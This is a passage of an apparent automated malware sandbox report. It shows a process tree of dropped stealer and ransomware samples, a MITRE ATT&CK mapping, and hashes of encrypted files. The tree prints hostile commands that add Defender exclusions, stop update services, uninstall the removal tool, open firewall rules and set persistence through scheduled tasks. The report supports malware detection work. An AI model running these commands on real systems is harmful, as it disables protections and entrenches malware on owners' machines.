    "C:\Users\Admin\Desktop\Files\s.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:3196
- - C:\Users\Admin\Desktop\Files\Identifications.exe
    "C:\Users\Admin\Desktop\Files\Identifications.exe"
    3⤵
    PID:5316
- - C:\Users\Admin\Desktop\Files\svchost.exe
    "C:\Users\Admin\Desktop\Files\svchost.exe"
    3⤵
    PID:5868
- - C:\Users\Admin\Desktop\Files\Launcher.exe
    "C:\Users\Admin\Desktop\Files\Launcher.exe"
    3⤵
    PID:5812
- - C:\Users\Admin\Desktop\Files\Cbmefxrmnv.exe
    "C:\Users\Admin\Desktop\Files\Cbmefxrmnv.exe"
    3⤵
    PID:3028
  - - C:\Users\Admin\Desktop\Files\Cbmefxrmnv.exe
      "C:\Users\Admin\Desktop\Files\Cbmefxrmnv.exe"
      4⤵
      PID:61316
- - C:\Users\Admin\Desktop\Files\LummaC2.exe
    "C:\Users\Admin\Desktop\Files\LummaC2.exe"
    3⤵
    PID:6268
- - C:\Users\Admin\Desktop\Files\game.exe
    "C:\Users\Admin\Desktop\Files\game.exe"
    3⤵
    PID:37020
- - C:\Users\Admin\Desktop\Files\twztl.exe
    "C:\Users\Admin\Desktop\Files\twztl.exe"
    3⤵
    PID:24040
- - C:\Users\Admin\Desktop\Files\pp.exe
    "C:\Users\Admin\Desktop\Files\pp.exe"
    3⤵
    PID:25560
- - C:\Users\Admin\Desktop\Files\stealc_daval.exe
    "C:\Users\Admin\Desktop\Files\stealc_daval.exe"
    3⤵
    PID:50816
- - C:\Users\Admin\Desktop\Files\ohtie89k.exe
    "C:\Users\Admin\Desktop\Files\ohtie89k.exe"
    3⤵
    PID:27268
  - - C:\ProgramData\windows.exe
      "C:\ProgramData\windows.exe"
      4⤵
      PID:27736
  - - C:\ProgramData\service.exe
      "C:\ProgramData\service.exe"
      4⤵
      PID:32840
    - - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /sc minute /mo 1 /tn "service" /tr "C:\Users\Admin\AppData\Roaming\service.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:37520
- - C:\Users\Admin\Desktop\Files\cayV0Deo9jSt417.exe
    "C:\Users\Admin\Desktop\Files\cayV0Deo9jSt417.exe"
    3⤵
    PID:60832
  - - C:\Windows\SysWOW64\clip.exe
      "C:\Windows\SysWOW64\clip.exe"
      4⤵
      PID:61136
- - C:\Users\Admin\Desktop\Files\ovrflw.exe
    "C:\Users\Admin\Desktop\Files\ovrflw.exe"
    3⤵
    PID:34712
  - - C:\Users\Admin\AppData\Roaming\Microsoft Network Agent\mswabnet.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft Network Agent\mswabnet.exe"
      4⤵
      PID:37752
- - C:\Users\Admin\Desktop\Files\s.exe
    "C:\Users\Admin\Desktop\Files\s.exe"
    3⤵
    PID:37040
- - C:\Users\Admin\Desktop\Files\testingg.exe
    "C:\Users\Admin\Desktop\Files\testingg.exe"
    3⤵
    PID:13544
  - - C:\Users\Admin\AppData\Roaming\server.exe
      "C:\Users\Admin\AppData\Roaming\server.exe"
      4⤵
      PID:38588
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\server.exe" "server.exe" ENABLE
        5⤵
        Modifies Windows Firewall
        
        PID:97068
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall delete allowedprogram "C:\Users\Admin\AppData\Roaming\server.exe"
        5⤵
        Modifies Windows Firewall
        
        PID:41148
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\server.exe" "server.exe" ENABLE
        5⤵
        Modifies Windows Firewall
        
        PID:37092
- - C:\Users\Admin\Desktop\Files\softina.exe
    "C:\Users\Admin\Desktop\Files\softina.exe"
    3⤵
    PID:20132
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe "Add-MpPreference -ExclusionPath "C:\Users\Admin\Desktop\Files\softina.exe"; Add-MpPreference -ExclusionProcess "softina.exe"; exit"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5340
  - - C:\Users\Admin\AppData\Local\sdkwifhsyaunfs\JAVA_V3.exe
      "C:\Users\Admin\AppData\Local\sdkwifhsyaunfs\JAVA_V3.exe"
      4⤵
      PID:19540
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe "Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\sdkwifhsyaunfs\JAVA_V3.exe"; Add-MpPreference -ExclusionProcess "JAVA_V3.exe"; exit"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:19848
- - C:\Users\Admin\Desktop\Files\foggy-mountains.exe
    "C:\Users\Admin\Desktop\Files\foggy-mountains.exe"
    3⤵
    PID:17880
- - C:\Users\Admin\Desktop\Files\t1.exe
    "C:\Users\Admin\Desktop\Files\t1.exe"
    3⤵
    PID:12768
- - C:\Users\Admin\Desktop\Files\DIFF.exe
    "C:\Users\Admin\Desktop\Files\DIFF.exe"
    3⤵
    PID:90004
- - C:\Users\Admin\Desktop\Files\LummaC22222.exe
    "C:\Users\Admin\Desktop\Files\LummaC22222.exe"
    3⤵
    PID:42628
- - C:\Users\Admin\Desktop\Files\pi.exe
    "C:\Users\Admin\Desktop\Files\pi.exe"
    3⤵
    PID:24984
- - C:\Users\Admin\Desktop\Files\25072023.exe
    "C:\Users\Admin\Desktop\Files\25072023.exe"
    3⤵
    PID:75772
- - C:\Users\Admin\Desktop\Files\random.exe
    "C:\Users\Admin\Desktop\Files\random.exe"
    3⤵
    PID:89920
- - C:\Users\Admin\Desktop\Files\npp.exe
    "C:\Users\Admin\Desktop\Files\npp.exe"
    3⤵
    PID:60104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:408
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"
  2⤵
  PID:3724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1540
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe
  2⤵
  PID:2976
- C:\Windows\System32\dwm.exe
  C:\Windows\System32\dwm.exe
  2⤵
  - Suspicious use of SendNotifyMessage
  PID:3876
- C:\Windows\SysWOW64\cmd.exe
  cmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EduCraft.url" & echo URL="C:\Users\Admin\AppData\Local\EduInno Dynamics\EduCraft.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EduCraft.url" & exit
  2⤵
  PID:5300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4816
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"
  2⤵
  PID:3352
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ydcfdz#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:33804
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"
  2⤵
  PID:96980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:22492
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:32656
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:32644
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:32748
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:89340
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:9924
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:32480
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:89420
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:89680

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:2272

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4572

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2704

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:432

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4084

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3632

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4936

C:\Users\Admin\Desktop\Files\AA_v3.5.exe
"C:\Users\Admin\Desktop\Files\AA_v3.5.exe" -service -lunch
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4344
- C:\Users\Admin\Desktop\Files\AA_v3.5.exe
  "C:\Users\Admin\Desktop\Files\AA_v3.5.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  - Suspicious use of SendNotifyMessage
  PID:4932

C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe
"C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:2516

C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe
C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe
1⤵
- Executes dropped EXE
PID:5892
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  PID:5556
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:6036
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:5940
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:5988
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:3568
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:5268
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5284
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:5476
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:1336
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  PID:1596
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  PID:5404
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  PID:4744
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  PID:4828
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:5544
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:21204
- - C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe
    "C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe"
    3⤵
    PID:10680
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:27516
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:97152
    - - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:19680
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      4⤵
      Launches sc.exe
      PID:18196
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:35416
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      4⤵
      Launches sc.exe
      PID:32200
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      4⤵
      Launches sc.exe
      PID:22136
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      4⤵
      Launches sc.exe
      PID:89772
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      4⤵
      Power Settings
      PID:75828
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      4⤵
      Power Settings
      PID:75600
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      4⤵
      Power Settings
      PID:75860
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:75592
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:5756

C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe
"C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"
1⤵
PID:960

C:\Users\Admin\AppData\Roaming\System.exe
C:\Users\Admin\AppData\Roaming\System.exe
1⤵
PID:3156

C:\ProgramData\explorer.exe
C:\ProgramData\explorer.exe
1⤵
PID:3304

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 5364 -ip 5364
1⤵
PID:6316

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 7752 -ip 7752
1⤵
PID:7952

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:25512

C:\Users\Admin\msvcservice.exe
C:\Users\Admin\msvcservice.exe
1⤵
PID:21848

C:\Users\Admin\AppData\Roaming\service.exe
C:\Users\Admin\AppData\Roaming\service.exe
1⤵
PID:77328

C:\ProgramData\mmgmbib\fkralt.exe
C:\ProgramData\mmgmbib\fkralt.exe
1⤵
PID:96688
- C:\ProgramData\mmgmbib\fkralt.exe
  "C:\ProgramData\mmgmbib\fkralt.exe"
  2⤵
  PID:76524

C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe
"C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"
1⤵
PID:16908

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 6972 -ip 6972
1⤵
PID:41772

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 28324 -ip 28324
1⤵
PID:12632

C:\Users\Admin\AppData\Local\sdkwifhsyaunfs\JAVA_V3.exe
C:\Users\Admin\AppData\Local\sdkwifhsyaunfs\JAVA_V3.exe
1⤵
PID:85152
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe "Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\sdkwifhsyaunfs\JAVA_V3.exe"; Add-MpPreference -ExclusionProcess "JAVA_V3.exe"; exit"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:32356

C:\Users\Admin\AppData\Roaming\service.exe
C:\Users\Admin\AppData\Roaming\service.exe
1⤵
PID:87088

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 76340 -ip 76340
1⤵
PID:77204

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Direct Volume Access

T1006

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Unsecured Credentials

T1552

Credentials in Registry

T1552.002

Discovery

Browser Information Discovery

T1217

Network Share Discovery

T1135

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\MsChainWinSavesNet\anticheat.exe

Filesize
1.6MB

MD5
1cc56a21eea09e87d3b56f30c726f958

SHA1
f0f05cf212f52f05ec59161c0e1e8807f4922211

SHA256
3faf85bfe9992f9f95ee87e8c8db9fa88474dab5c8bb55349c80e4a34d097bbb

SHA512
955c60b81901c2c5a49e1696d7ee7b207619b9e5435a79167d0e90c7c8e7a1acbbfe84d3170ae4557826700939e1801833c3eb69e5f8d0a6b12819cba7a0b5b3

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\90.0.818.66.manifest.avos2

Filesize
688B

MD5
71c08c5a8f1a706a1cb4ab2e61392742

SHA1
e6eab26f8baa8435d0df3b1276167594e4e16222

SHA256
4e37e8a9a4fcdf66b094980536528939e65dd5cef24c82e2029cb2f4bbcd7269

SHA512
2b7cf1d90c8668217b5060783d9f96da39353939033511d3a70f2720231d21e662c03e42b0ae007edd2c1aeed7d2d796a4cdc35868cd36f33b3229cc993e44d2

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\EBWebView\x64\EmbeddedBrowserWebView.dll.id-9C365015.[[email protected]].ncov.avos2

Filesize
5.9MB

MD5
f6d4b3c36653a49c6c4dbe173d5d873c

SHA1
5777a21f0bb9a3d405dc5891341cfc19afdbdd93

SHA256
2f17bb9417db554d63e354472f7628a348d9d3f39e3d85afd3722d19643d996b

SHA512
64a9f5d4b8bb179affb138119f3aa8fbe827e16524c5122fbc206b69b7696eafba3dad8056a2e8d4f950ae4a21d7d339605a81b46fd8c6fd2555b4dff69c2e83

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\EBWebView\x86\EmbeddedBrowserWebView.dll.id-9C365015.[[email protected]].ncov

Filesize
5.0MB

MD5
beadcf7fef02aa1d09290d19022fb48d

SHA1
cd3fd19da07cbb203e1db5b508fbb365440952ca

SHA256
ab2ab73b0674d9079665c3672815cffee79c23be3c454ed69a2df2c8970ef1bb

SHA512
96d6b55309697055cfad028c7e8bf475d4505adcd6155048c6883ddea34ca384104d59d970df70ce74f34b8668a355dae543cb94ebeacce29b5720cc1733b8de

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Edge.dat.avos2

Filesize
688B

MD5
bcaf6597027677e0d94febc191029e83

SHA1
c01cedc916d61b3ce965e5ecd629920758bd8c05

SHA256
c9203c5ef777b37882ed93ec61f561e50fd4723837ff98106c327494e3ac447c

SHA512
365cdb55f18f9f8464dd007b125b0252ebab361dae393b1476b888e0f2978a68bfe1c9f8c814e392090b107d294094f2ed3162de0422e27040dd61b77fb75072

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\EdgeWebView.dat.avos2

Filesize
688B

MD5
1dcff0ddbd2fe469b73cf7cbcba532f1

SHA1
0b04a48cdb4fd83806fc5b894184ad74c66c83ee

SHA256
4775cd1a3924405b8b3d854914f0355b8a01eb2152128c275ac3050265dab3a6

SHA512
8963900d6f59e0224b4372fca653c26055aa4fbac6d9632754263eaaa4b623ef81c9290aae119aff6de9ea602ee7ccf9fbe469b19785d5f5f5a69f74fec80107

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Extensions\external_extensions.json.avos2

Filesize
688B

MD5
b86112894365f6496c40e9a3112ada15

SHA1
25ef1064ffea201d147fd30959cc46ebe162ea14

SHA256
b089aec27b8cd7d993cb2ed5ab5d44c03cc24c0111dead04b6a57ffc63ef46b7

SHA512
30dbbfdfd90fd6f4debead3f03319e195a0ed9530beb4add052b3a79dbb170ff736ef3f0ac6431df24051e3c45578c3507ed6acc14f424a4960115a1ae470027

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\af.pak.avos2

Filesize
688B

MD5
cf691a33ab7acc4a3c04673c01a31705

SHA1
96572f4230ab53eabd86d29b73848d94fcfd1938

SHA256
fda5595954b9bb2cd9f5c38e5d3a00d22307e87bc13e0c44057cb4e05acac4c5

SHA512
15ef3c23ddfe57a2902ecdf38038097472160290eae49fe98a8e358600bfc2bf09d48020627939d462a3d8f729b91e9e0c5064bc7d34088961abee696ab9c848

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\am.pak.avos2

Filesize
688B

MD5
895b300688e08b2a7b07b655b769cc1c

SHA1
83a82c718df2c1a1e9b4622acf014b979ac564cf

SHA256
50a7cce0ce6d615ee63d8a7f3b620b4e1048bd2a8a5316ca1afbcb2d84cc6237

SHA512
4a91a581c213590f3fcd4561b22d3cbedce116fd284796545b7ba07ec993bf26a24f0168457f3eb8d6cbf63f51987b653818156b699041b7c71da536008b1711

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\ar.pak.avos2

Filesize
688B

MD5
ffa64adbd9e3fdbe8ffe6f5e28ca2a40

SHA1
cd7035c8f542c1a202a375b4d6f847b1b092bbe5

SHA256
7d399211f0cd1fb38675d01af34911cc5208bc8eed147e367da8180829479184

SHA512
